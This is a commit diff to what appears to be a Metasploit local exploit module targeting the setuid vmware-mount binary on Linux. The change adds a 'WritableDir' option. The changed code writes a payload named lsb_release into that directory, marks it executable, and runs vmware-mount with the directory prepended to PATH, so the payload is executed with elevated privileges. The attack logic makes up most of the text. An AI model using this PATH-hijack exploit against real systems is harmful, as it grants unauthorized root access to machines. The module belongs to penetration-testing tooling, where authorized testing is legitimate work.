Add configurable directory, rather than relying on the session working

directory.

modules/exploits/linux/local/vmware_mount.rb

@@ -53,6 +53,9 @@ class Metasploit4 < Msf::Exploit::Local
         'DisclosureDate' => "Aug 22 2013"
       }
       ))
+    register_options([
+        OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ]),
+      ], self.class)
   end
 
   def check
@@ -68,13 +71,13 @@ class Metasploit4 < Msf::Exploit::Local
       fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
     end
 
-    write_file("lsb_release", generate_payload_exe)
-
-    cmd_exec("chmod +x lsb_release")
-    cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
+    path = "#{datastore["WritableDir"]}"
+    write_file("#{path}/lsb_release", generate_payload_exe)
+    cmd_exec("chmod +x #{path}/lsb_release")
+    cmd_exec("PATH=#{path}:$PATH /usr/bin/vmware-mount")
     # Delete it here instead of using FileDropper because the original
     # session can clean it up
-    cmd_exec("rm -f lsb_release")
+    cmd_exec("rm -f #{path}/lsb_release")
   end
 
   def setuid?(remote_file)